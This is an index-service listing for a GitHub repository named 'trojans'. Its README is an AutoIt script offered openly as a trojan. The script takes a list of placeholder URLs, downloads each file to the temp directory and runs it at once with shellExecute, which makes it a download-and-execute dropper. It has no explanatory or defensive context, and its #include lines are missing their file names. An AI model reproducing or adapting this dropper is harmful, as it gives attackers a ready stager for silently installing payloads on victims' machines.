An open API service indexing awesome lists of open source software.

https://github.com/rajeevranjancom/trojans


https://github.com/rajeevranjancom/trojans

Last synced: 4 months ago
JSON representation

Awesome Lists containing this project

README

          

# Trojans

#include
#include

Local $urls = "url1,url2"

Local $urlsArray = StringSplit($urls, ",", 2 )

For $url In $urlsArray
$sFile = _DownloadFile($url)
shellExecute($sFile)

Next

Func _DownloadFile($sURL)
Local $hDownload, $sFile
$sFile = StringRegExpReplace($sURL, "^.*/", "")
$sDirectory = @TempDir & $sFile
$hDownload = InetGet($sURL, $sDirectory, 17, 1)
InetClose($hDownload)
Return $sDirectory
EndFunc ;==>_GetURLImage